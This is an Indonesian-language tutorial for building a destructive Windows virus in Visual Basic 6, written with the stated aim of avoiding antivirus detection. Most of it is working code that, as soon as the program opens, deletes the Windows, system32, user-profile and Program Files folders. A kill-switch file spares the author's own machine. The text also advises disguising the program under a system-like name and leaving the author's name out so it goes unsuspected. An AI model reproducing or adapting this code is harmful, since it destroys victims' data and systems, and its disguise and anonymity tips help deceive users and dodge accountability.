Tutorial Virus Sederhana

Nih tutorial bikin virus yang agak mematikan, tapi simple, dan kayaknya sih ga’ bakal kedekteksi antivirus, soalnya cara kerjanya simple banget.

Yang diperlukan:
1. VB(optimal : 6.0)
2. Ngerti tombol2nya VB



Tutorial Bikin Virus cuman 1 menit

1. bikin form sekecil mungkin
2. di dalam form itu, masukkan kode berikut

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next

If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub

Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function

3. Kode yang warna biru itu penangkal virus ini, barang kali kalian ga' sengaja tekan jadi kalian selamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, kalian ga bakal keserang ndiri… bisa kalian edit kok jadi apa gitu…

Yang warna merah itu folder yg bakal didelete ama virus ini, kalian edit ndiri aja…

4. Bikin nih project namanya kaya nama system, disini gwe make nama “SystemKernel32″ jadi ga bakal dicurigain

5. Jangan pernah naroh nama kalian di nih virus !

6. complit deh… selesai!